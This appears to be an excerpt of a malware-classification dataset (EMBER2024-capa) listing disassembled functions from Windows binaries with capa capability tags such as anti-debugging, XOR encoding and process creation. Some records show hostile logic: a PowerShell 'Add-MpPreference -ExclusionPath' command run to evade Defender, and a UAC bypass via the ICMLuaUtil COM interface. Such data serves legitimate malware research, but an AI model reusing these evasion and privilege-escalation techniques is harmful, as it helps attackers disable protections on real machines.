joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140bb1893
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
or qword [rsp + 0x20], 0x2a0f2c26
call fcn.140be3135
mov byte [rsp + 8], 0x51
mov byte [rsp + 8], 0xf6
setno byte [rsp + 8]
neg word [rsp + 8]
xor qword [rsp + 8], 0x30414113
add dword [rsp + 8], 0x55742ec7
sete byte [rsp + 8]
xor word [rsp + 8], 0x5a20
cmp dword [rsp + 8], 0x20d5871
ja 0x140b7f12b
xor dword [rsp + 0x70], 0x279465b3
mov bpl, byte [rsp + 0x3b]
not qword [rsp + 0x70]
jl 0x140ae8649
test dword [rsp + 0x30], r15d
not byte [rsp + 0x30]
call fcn.1405f782a
push r11
movabs r11, 0x1aaa4c8d769d57f6
push r15
bswap r11d
push r14
add qword [rsp + 0x18], 0xffffffffffe4e4b0
and al, 0x18
mov al, 0xe4
in al, 0xff
movabs r15, 0x7d5b0f9815a545db
lea r11, [r11*4 + 0x50a960cd]
movsxd r15, r15d
add r11b, r15b
test r15b, 0xe6
push r15
setne byte [rsp]
not r15b
pop r14
xor r14, 0x141235ee
or r11, 0x4a23b14
test r15w, r11w
mov r15b, r14b
call fcn.140b05124
adc eax, 0x55078894
adc dl, byte [rax - 0x22cddd35]
in al, dx
mov cl, 0xc5
sub rbx, qword [rdi + 0x3ad121ab]
int1
jb 0x140bb18ce
mov al, byte [rax + rcx*4 - 0x6c7eb992]
sbb byte [rcx + 0x433d0bfa], ah
and eax, 0x36da8241
push rdi
in eax, 0xbf
pop rcx
cqo
add qword [rbp + 0x46], r11
xor bl, bl
push 0x49dc4587
xchg edi, eax
mov al, 0xba
sub eax, 0xc6e73fdd
push rdi
cmp cl, byte [rax]
cmp dword [rbp - 0x1f6321b3], esi
fist dword [rax + riz*2 - 0x775d51b9]
mov ecx, 0x47320164
add eax, 0xc369a781
mov esi, 0xb11ca827
sbb dl, ch
xchg ebp, eax
scasd eax, dword [rdi]
invalid

Function at 0x140bbaede
Capabilities:
Execute anti-debugging instructions
Resolve function by parsing pe exports

Disassembly:
mov r15, qword [rsp + 0x38]
not r8d
sets r13b
cmp r13, 0x60e50b98
jge 0x140c21cfb
jne 0x140b9818f

Function at 0x140bc9d1d
Capabilities:
Execute anti-debugging instructions
Resolve function by parsing pe exports

Disassembly:
push r13
and rdi, qword [rsp + 0x30]
mov qword [rsp + 0x30], 0x3905e916
lea r8, [rdi + 0x21da6fa2]
movabs r15, 0x6fd67dfe02ae38d6
push rdx
push rbp
sete dil
test bl, r15b
ja 0x140685896
test bx, bx
push r14
mov r14, r11
mov r14b, 0xf2
setge r11b
push rbx
test dword [rsp + 1], ebx
jbe 0x140ba23b5
test dword [rsp], 0x2e8b6100
jle fcn.140b91ad8
mov r14w, bx
push rbp
push qword [rsp + 0x28]
popfq
mov qword [rsp + 0x28], 0xffffffff8816d209
pushfq
neg bx
or byte [rsp + 0x10], 0x5b
push r8
movabs r8, 0xf20183d7cfa5ab4
call fcn.140b3ac53
movabs r13, 0x73064a05102d647a
sub r8, rbx
not rdi
cmp ebx, r8d
setle dil
push r12
push rdi
mov rdx, qword [rsp]
push rbx
and r15w, 0x2641
pop r12
add r15d, dword [rsp + 2]
mov r8, qword [rsp + 0x38]
bswap r15
lea rbx, [rdx*8 + 0x3ef71648]
mov rbp, rdi
or edi, dword [rsp + 1]
cmova r12w, word [rsp + 5]
neg r13b
xor ebp, dword [rsp + 3]
xor r13d, dword [rsp + 3]
movzx ebx, di
or dx, r12w
bswap rdi
neg byte [rsp]
neg dx
mov word [rsp], 0x36a6
call fcn.1405f7e85
shr byte [rdx + rsi*8 - 0x27], 1
adc al, 0x68
sub edi, ebp
nop
invalid
jg 0x140638b24
not dil
lea r12, [r12 + 0x24982369]
add qword [rsp + 8], 0x48aae
call fcn.140c239db
call fcn.140af0740
Function at 0x140bd256c
Capabilities:
Execute anti-debugging instructions
Resolve function by parsing pe exports

Disassembly:
neg dword [rsp + 0x90]
cmp dil, 0x65
jno 0x140bfedb7
mov byte [rsp + 0xa0], dil
movsx di, dil
setbe byte [rsp + 0x58]
xor dword [rsp + 0xa0], edi
xor qword [rsp + 0xa0], rdi
cmp qword [rsp + 0x90], 0x65730156
setle byte [rsp + 0x58]
test qword [rsp + 0xa0], rdi
lea rdi, [rdi + rdi*2 + 0x49106962]
mov di, 0x394f
jno 0x140b0654f
mov rdi, qword [rsp + 0x70]
cmp dword [rsp + 0x90], 0x677540d3
not byte [rsp + 0x90]
call fcn.140bad508

Function at 0x140bdb21f
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov byte [rbx + 0x47], ah
sub dword [rdx + 0x7e], ebx
jo 0x140aeb45f
insd dword [rdi], dx
jne 0x140aeb435
in al, dx
mov dword [rbp + rsi*4 + 0x5f], ecx
mov ch, 0x5f
mov byte [rsi], dh
push rbx
and al, ch
call 0x140bb4dde
sub ebp, ebp
mov rcx, qword [rsp + 0x18]
test r10w, si
mov r9, qword [rsp + 0x68]
movzx ecx, r11w
movsx bp, word [rsp + 0x1a]
call fcn.140b378c5
push qword [rsp]
popfq
lea rsp, [rsp + 8]
call fcn.140cc6afe
add r12w, word [rsp + 0xa]
add qword [rsp], 0xffffffffbf50d640
call fcn.14068e642
sub byte es:[rbx + 0x44427547], 0xdb
xchg rsi, rax
mov ecx, 0xc99cd149
scasb al, byte [rdi]
jns 0x140aeb427
invalid
not dword [rsp + 0x10]
push rcx
js 0x140aeb440

Function at 0x140bdb22a
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor byte [rsp + 0x50], 0xe6
add byte [rsp + 0x28], r13b
add r13, qword [rsp + 0x30]
not r13d
and r14b, byte [rsp + 0x57]
and qword [rsp + 0x50], r12
lea r11, [r14 + 0x20ce5051]
mov qword [rsp + 0x28], 0x5b6a416f
or r13b, 0x65
xor r12b, bpl
call fcn.140bc0f50
test word [rsp + 0x58], r8w
lea rbp, [r13 + rdi*8 + 0x11e4728e]
not r14
jbe 0x140ba2486
add esp, dword [rbx - 0x4b3cb84e]
push rax
ret 0xc49c

Function at 0x140bde268
Capabilities:
Encode data using xor

Disassembly:
xor r14b, 0x3a
bswap rcx
not r14w
jl 0x140c35168
mov cl, 0x29
mov r14, qword [rsp]
call fcn.140b4588a
push rcx
movabs rcx, 0x6d8259d03bc206cb
mov ecx, 0x34687921
add ecx, 0x5b745c58
lea rcx, [rcx*2 + 0x71b22d02]
push r14
mov ecx, 0x6c1d047a
mov r14, rcx
test r14, 0x82a4341
jg 0x1405f5c0e
add byte [rax], al
jo 0x140b0a83c
je 0x140b0a82c
add al, ch
xor byte fs:[rcx], dl
add byte [rbx - 0x1666cadd], dh
xchg dword [rbx - 7], edx
pushfq
sbb al, 0x6c
jg 0x140b0a843
invalid
invalid
or dword [rdx - 0x5a3faec8], 0x418de8d1
jbe 0x140b0a7df
cmpsd dword [rsi], dword [rdi]
xchg ecx, eax
xor dword [rsi + rsi*8 + 0x67], ecx
pop rsi
pop rsi
rol dword [rsi + 0x2107e549], 1
cdq
pop rsp
outsd dx, dword [rsi]
push rbx
mov eax, 0xc0943dc9
movabs eax, dword [0xa8dbf8e804a95026]
leave
and dword [rcx - 0x47ac90a4], ebx
leave
cmp eax, 0x26a1c094
push rax
test eax, 0xdbf8e804
test al, 0xc9
xchg sp, ax
popfq
shl dword [rdi + rax - 0x1452737], 1
outsd dx, dword [rsi]
xor cl, byte [rsi - 0x7ab9c8ee]
pop rcx
sal ebp, 1
push rsi
jns 0x140b0a837
or eax, ebp
jl 0x140b0a805
add edi, dword [rax - 0x18]
or eax, 0xdd1948c4
jae 0x140b0a849
nop dword [0x125fdc947]
invalid
jg 0x140b0a78d
invalid
lea r11, [r11 + r11 + 0x33a272ca]
xor r11, r11
Function at 0x140be5dbf
Capabilities:
Execute anti-debugging instructions

Disassembly:
add qword [rsp + 0x30], 0x27402
add word [rsp + 0x20], r10w
or r15b, r10b
xor si, 0x4e12
xor r13w, word [rsp + 0x50]
not byte [rsp + 8]
and r13d, 0x37e56f91
mov r8, r15
neg word [rsp + 0x50]
sub r10, qword [rsp + 0x20]
call fcn.140b75d5d

Function at 0x140be5e87
Capabilities:
Execute anti-debugging instructions

Disassembly:
jge 0x140c09e5f
or r13, rcx
mov r13, qword [rsp + 0x28]
jl 0x140be5ebe
xor cx, 0x7fa8
mov cl, byte [rsp + 0xf]
neg cl
add qword [rsp], 0xfffffffffffdfcbe
lea rcx, [rcx + rcx*8 + 0x3cd926bb]
or word [rsp + 8], 0x5e31
xor rcx, qword [rsp + 8]
call fcn.140bb3789
jb 0x140be5f28
cmp byte [rcx + 0x35], ch
invalid
pop rsp
outsb dx, byte [rsi]
imul edx, edx, 0x70906a9e
stosd dword [rdi], eax
sahf
mov ah, 0x1b
pop qword [rbx - 0x54]
movabs eax, dword [0x392e6961fd43a30b]
invalid

Function at 0x140be861c
Capabilities:
Execute anti-debugging instructions

Disassembly:
call fcn.140bf52c0
sbb al, 0x72
test byte [rax + 0xdf89d9a], bh
mov esp, 0x92d95b14
adc eax, 0xf963133c
mov bh, 0x40
test al, 0x6e
invalid
or r12b, 0x9c
add qword [rsp + 0x28], 0x5c818b
xor r12d, 0x29e22864
neg r12d
call fcn.140640720
add r15, 0x151d275e
mov r15w, 0x4268
not r15d
mov r15, qword [rsp + 0x28]
add qword [rsp + 8], 0xffffffffbf50d621
call fcn.1406004c6
jne 0x140b630d6
or qword [rsp + 0x18], 0x1f9e2531
jo 0x14068fc16
not r8d
call fcn.140b740bc

Function at 0x140beee9b
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0x422d66b0
sub rbx, 0x6eec434e
mov r10, qword [rsp]
cmp bl, r10b
seto bl
jg 0x140b845f9
mov esi, edx
pop rax
ja 0x192aa747c
xor ebx, dword [rax]
mov edx, dword [rsi - 0x6db6951d]
stc
push rbx
or al, 0xbc
invalid
and qword [rsp + 0x40], 0x67c945d2
push qword [rsp + 0x48]
popfq
lea rsp, [rsp + 0x60]
call fcn.140c4db43
mov edi, 0xe3acfdde
mov bl, 0x75
xor edx, dword [rbx - 0x5a]
xlatb
loopne 0x140b6d4ca
rol dword [rsi], cl
test esi, 0x30dd4fac
enter 0xffffffffffffb4ac, 0x4b
pop rcx
xor bl, dl
out 0xbd, eax
jrcxz 0x140b6d4e4
push rbx
invalid
int3
lodsb al, byte [rsi]
add ebp, dword [rsi + 0x4b]
xor eax, 0x388cacd3
retf 0xa0ac
and dword [rsp + 0x40], 0x6c1833c9
setl byte [rsp + 0x40]
jb 0x140beeecf
test byte [rsp + 0x40], 0x72
setg byte [rsp + 0x40]
add qword [rsp + 0x10], 0xffffffffbf97ef49
and dword [rsp + 0x40], 0xbe47574
jb 0x140b03589
or byte [rsp + 0x40], 0x79
test word [rsp + 0x40], 0x12b8
jns 0x140b6d474

Function at 0x140bfe890
Capabilities:
Encode data using xor

Disassembly:
bswap r13d
jle 0x140b60e5f
xor word [rsp + 0x20], 0x6500
or r13b, byte [rsp + 0x20]
call fcn.140bc9d1d
popfq
push r11
mov eax, 0xc5e9aca3
invalid

Function at 0x140c03b4a
Capabilities:
Execute anti-debugging instructions
Resolve function by parsing pe exports

Disassembly:
add word [rsp + 0x30], 0x51ee
lea r14, [r8 + rbp + 0x107d5d7e]

Function at 0x140c04942
Capabilities:
Execute anti-debugging instructions

Disassembly:
pushfq
test edx, 0x29594731
seta dl
sub rdx, 0x68d3306e
movabs rdx, 0x11295f9618f72189
setno dl
jo 0x140ba95cd
push r11
movabs r11, 0x70a926105cc57dd8
mov r11w, 0x8bb
cmp edx, 0x13781ebb
not r11w
call fcn.140b58440
Function at 0x140c04986
Capabilities:
Execute anti-debugging instructions

Disassembly:
cmp r13b, r14b
mov r13b, byte [rsp + 0x40]
mov word [rsp + 0x10], r14w
lea rsp, [rsp + 0x18]
ret 8
add dword [rsp + 0x10], 0x62122f0f
lea rbx, [rbp + r12*8 + 0x2ca719ad]
sub r15d, ebx
xor bp, bx
cmp bpl, 0xa
bswap ebx
ret 8
jns 0x140c1d836
xor ebp, dword [rsp + 0x3a]
add r8w, r13w
lea r11, [r13 + r11*8 + 0x35057177]
and ebp, 0x4af50e06
or byte [rsp + 8], 0xbf
test qword [rsp + 0x30], r14
lea r8, [r9*2 + 0x331775a4]
not r14
not r11
jl 0x140c049ac
sub byte [rsp + 0x38], 0x73
jo 0x14060125e
call fcn.140b73b8c
lea rbx, [r12 + 0x51f1435b]
jb 0x140638b4b
sub r12w, 0x6669
bswap rbx
movsx ebx, bl
lea rbx, [r12 + rbx*4 + 0x39756a20]
not bx
or ebx, ebx
neg ebx
or rbx, 0x6c5a7f71
mov r12w, bx
mov r12w, 0x240c
neg r12
not r12w
and r12d, r12d
xor r12d, 0x55fc19e8
je fcn.1405fa007
test r12d, r12d
pop r12
setae bl
lea rbx, [rbx + rbx*8 + 0x6ed63820]
xor bx, 0x249b
add ebx, ebx
call fcn.140b9acd0
xor r14d, r8d
add qword [rsp], 0x2de9f
neg r8
add r10d, r8d
or r13d, 0x54f614d9
mov r8b, r13b
neg qword [rsp + 0x28]
jg fcn.14067d8e0
jno 0x140640819
setb bl
not byte [rsp]
jns 0x140c1d487
movzx rbp, r12b
neg bx
js 0x14068bd2d
sub ebp, dword [rsp + 1]
neg rbx
lea r12, [rbx*2 + 0x5d9713e0]
call fcn.140be28df

Function at 0x140c049d0
Capabilities:
Encode data using xor

Disassembly:
call fcn.140c7b265
mov r11, qword [rsp + 0x18]
setbe dil
cmp dx, word [rsp + 0x12]
lea rdi, [rdx + rdi*4 + 0x1a326547]
jno 0x140b18794
add ah, dl
jns 0x140af89be
cmp al, 8
movaps xmm7, xmmword [rcx + 0x50078554]
sbb byte [rbp - 0x695107], bl
sbb bl, byte [rbx + 0x57]
retf
neg dl
cmp edi, 0x71043bdf
mov rdi, qword [rsp + 0x20]
lea rsp, [rsp + 0x28]
ret
sub rdi, 0x6ed40666
ja 0x140af899e
add byte [rax], al
add byte [rcx], cl
add byte [rsi], al
add byte [0x144c063ea], al
push rax
add esp, dword [rax + 2]
jo 0x140c049f0
xor byte [rsp + rbx - 0x4b], al
sbb al, 0xb5
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x48], dl
mov ebx, 0x3ea22eed
mov ecx, 0x9c31021f
cmp bl, 0x95
push r12
movabs rbx, 0x256116aa66a57564
mov r12, rbx
push rsi
movabs rsi, 0x5c1a013709fe74c5
not bl
push rdx
push rcx
push r10
movabs rcx, 0x7f461b5c6fe7280b
lea r12, [rsi*2 + 0x42b0a0a]
movabs r10, 0x39f68ad6e125ba2
push r15
movabs rdx, 0x14577c2267dd42c9
push r10
push rcx
mov r15, qword [rsp + 8]
lea r10, [rbx + r12*4 + 0x1ff236a5]
push r12
movzx r15d, r10b
movsx r12, r15b
mov dx, word [rsp + 0xa]
jo 0x140636edd
sub ebx, dword [rsp + 0x10]
mov rbx, qword [rsp + 0x50]
mov qword [rsp + 0x50], 0x38f09587
movsxd rcx, dword [rsp]
seto cl
call fcn.140b79d8e
wait
fsub dword [rsi + rdi - 0x65]
cld
add al, 0xd8
invalid
Function at 0x140c11218
Capabilities:
Encode data using xor

Disassembly:
pushfq
movabs r11, 0x88702b0617b0a37
and r11d, 0x307d5382
or r11d, 0x5be16fca
xor r11, 0x7ef056e5
push rdi
movabs rdi, 0x3fa35b6744022828
js 0x140b39a0a
add r11, 0x23513401
bswap r11d
mov qword [rsp + 0x18], 0x38f09587
push r9
push r11
or r11b, r11b
push rsi
movabs rsi, 0xf0f49213f891d64
and qword [rsp + 8], 0x28d42d93
jbe 0x140b035c7
mov r9, rsi
neg r9
movabs rdi, 0x4a4a0e5b64be4240
push rsi
call fcn.140c1d54a
neg r9b
neg qword [rsp + 8]
sub dword [rsp + 8], 0x46d47be6
add r9w, word [rsp + 9]
cmp sil, byte [rsp + 0x1d]
mov byte [rsp + 8], 0xb1
jo 0x140bcbf05
cmp rsi, r9
bswap rsi
ja 0x140b0360d
mov si, word [rsp + 0x1e]
mov rsi, qword [rsp + 0x10]
test r9w, 0x18d
lea r9, [r9 + 0x4cc0535f]
call fcn.140b41483
lea rbp, [rbp + rdi + 0x4bf04aa]
jo 0x140b06682
not r9b
call fcn.1405f780f
ja 0x140b399f4
sbb bl, byte [rdi - 0x2f]
lodsb al, byte [rsi]
push rdi
jne 0x140c1125c
invalid
shr byte [rdx + rdi*2], 1
pop rax
sbb dl, dh
sub al, 0x21
invalid

Function at 0x140c1d68e
Capabilities:
Execute anti-debugging instructions

Disassembly:
sets byte [rsp + 0x30]
add byte [rsp + 0x58], 0xd5
and dword [rsp + 0x30], 0x3ccd4aca
cmp qword [rsp + 0x58], 0x5a634921
jae 0x140c1d90b

Function at 0x140c1d757
Capabilities:
Execute anti-debugging instructions

Disassembly:
bswap r10
movabs r11, 0x8b15d3f6e344629
or r10, qword [rsp + 0x48]
add r11, qword [rsp + 0x48]
add qword [rsp + 0x18], 0xffffffffbf9cc78f
sub edi, 0x7a0a4aa9
setbe r11b
sub qword [rsp + 0x48], r10
cmp byte [rsp + 0x48], 0x19
mov r11, qword [rsp + 0x58]
call fcn.140b3746c

Function at 0x140c1e20b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
and r9b, r12b
neg r8w
setae r12b
mov r13w, 0x5734
sub r8d, r9d
cmp r8, r12
not r8d
mov r8, qword [rsp + 0x30]
mov r9, qword [rsp + 0x28]
mov r12, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x18]
mov r13, qword [rsp + 0x10]
lea rsp, [rsp + 0x48]
ret
neg r9d
push rdx
lea rdi, [r8 + r8*4 + 0x624e37b5]
mov rdi, qword [rsp + 0x10]
movabs rdx, 0x5e6a08276ad3139b
mov r13, rdx
pop rdx
sub r13w, 0x7454
and r12w, 0x75b3
sub cx, 0x654c
or r8, r8
not r13w
add qword [rsp + 0x48], 0x4250f
and r13, 0xdd04b32
jg 0x14062b2ec

Function at 0x140c1e258
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rdx, qword [rsp + 8]
lea r15, [r15 + 0x365c3b67]
mov qword [rsp + 0x50], 0x28185957
movzx r15, word [rsp + 8]
mov r10b, 0x87
mov dil, byte [rsp + 0xc]
add cl, 0xa1
or r15b, bpl
xor word [rsp + 8], 0x20f0
cmovne edi, dword [rsp + 0xc]

Function at 0x140c23839
Capabilities:
Execute anti-debugging instructions

Disassembly:
test qword [rsp + 0x50], 0x329a4bbb
call fcn.140b06e96
setae byte [rsp + 0x18]
cmp dword [rsp + 0x18], 0x1071032f
sete byte [rsp + 0x18]
call fcn.140bdca00
setno byte [rsp + 0x50]
neg word [rsp + 0x50]
mov qword [rsp + 0x50], 0x7058138d
mov qword [rsp + 0x50], 0x12c7cb5
jo 0x140d8352b
mov byte [rsp + 0x50], 0xad
jle 0x140be1fd0
Function at 0x140001674
Capabilities:
Get token membership

Disassembly:
sub rsp, 0x88
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
lea rax, [rsp + 0x78]
mov dword [rsp + 0x72], 0
lea rcx, [rsp + 0x72]
mov word [rsp + 0x76], 0x500
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x6c], eax
test eax, eax
je 0x140001711
xor ecx, ecx
mov rdx, qword [rsp + 0x78]
lea r8, [rsp + 0x6c]
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x140001706
mov dword [rsp + 0x6c], 0
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x6c]
add rsp, 0x88
ret

Function at 0x14000171d
Capabilities:
Create process on windows

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x68
mov qword [rsp + 0x58], rcx
mov ecx, 0x68
call fcn.1400ae250
mov ecx, 0x1a
mov rsi, rax
xor eax, eax
mov rdi, rsi
rep stosd dword [rdi], eax
mov ecx, 0x18
call fcn.1400ae250
mov ecx, 0x280
mov rbx, rax
call fcn.1400ae220
mov r8, qword [rsp + 0x58]
lea rdx, str.powershell.exe_Add_MpPreference__ExclusionPath__s
mov r12, rax
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x40], rsi
mov rdx, r12
xor ecx, ecx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
or edx, 0xffffffff
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx]
call rsi
mov rcx, qword [rbx + 8]
call rsi
mov rcx, r12
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop r12
jmp fcn.1400ae1f0
Function at 0x14000289b
Capabilities:
Bypass uac via icmluautil

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x40
mov edi, r8d
mov r13, rcx
mov rsi, rdx
xor ecx, ecx
mov qword [rsp + 0x38], 0
mov edx, 2
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea r9, [rsp + 0x38]
mov r8d, 4
lea rdx, [0x1400b8cd0]
lea rcx, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
mov ebx, eax
call fcn.1400024a0
mov r12d, eax
test eax, eax
je 0x1400028f4
mov r12d, 0xc0000022
jmp 0x14000291d
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400028ec
mov rax, qword [rcx]
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov r8, rsi
mov dword [rsp + 0x20], 0
mov rdx, r13
call qword [rax + 0x48]
test eax, eax
js 0x1400028ec
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000292d
mov rax, qword [rcx]
call qword [rax + 0x10]
test ebx, ebx
jne 0x140002937
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, r12d
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop r12
pop r13
ret
Function at 0x14000c1f0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140016220
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140016220
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x14000c260
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1400df0c4]
mov r12, rcx
test ebx, ebx
jle 0x14000c390
mov rax, qword [0x1400df0c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x14000c2ac
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x14000c333
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x14000c290
mov rcx, r12
call fcn.14000ccc0
mov rsi, rax
test rax, rax
je 0x14000c3b2
mov rax, qword [0x1400df0c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.14000cdf0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400df0c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000c397
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000c32c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000c340
add dword [0x1400df0c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1400df0c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000c32c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000c1f0
nop dword [rax]
xor ebx, ebx
jmp 0x14000c2b7
mov rax, qword [0x1400df0c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000c1f0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.14000c1f0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000c930
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1400df120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400df100]
test rbx, rbx
je 0x14000c984
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000c97b
test r12, r12
je 0x14000c97b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000c960
lea rcx, [0x1400df120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000ccc0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400b8b00]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000cce0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000cce8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000cce0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x14000cd35
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000cd2c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000cce0
add rax, 0x28
cmp rax, r9
jne 0x14000cd18
xor eax, eax
ret

Function at 0x14000cd40
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400b8b00]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000cd60
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000cd68
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000cd60
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x14000cdf0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400b8b00]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000ce10
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x14000ce18
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x14000d040
Capabilities:
Allocate thread local storage

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov eax, dword [0x1400df108]
mov edi, ecx
mov rsi, rdx
test eax, eax
jne 0x14000c9c0
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov edx, 0x18
mov ecx, 1
call sub.msvcrt.dll_calloc
mov rbx, rax
test rax, rax
je 0x14000ca13
mov dword [rax], edi
lea rcx, [0x1400df120]
mov qword [rax + 8], rsi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x1400df100]
lea rcx, [0x1400df120]
mov qword [0x1400df100], rbx
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
or eax, 0xffffffff
jmp 0x14000c9b6
push r12
push rbx
sub rsp, 0x28
mov rbx, rcx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ecx, eax
cmp eax, 0xffffffff
je 0x14000d070
mov rdx, r12
mov dword [rbx], eax
add rsp, 0x28
pop rbx
pop r12
jmp 0x140016b70
add rsp, 0x28
pop rbx
pop r12
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
test rdx, rdx
jne 0x140016b80
xor eax, eax
ret
jmp 0x14000c9a0

Function at 0x14000d0b0
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
sub rsp, 0x28
mov r12d, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, r12d
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, r13d
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, r12
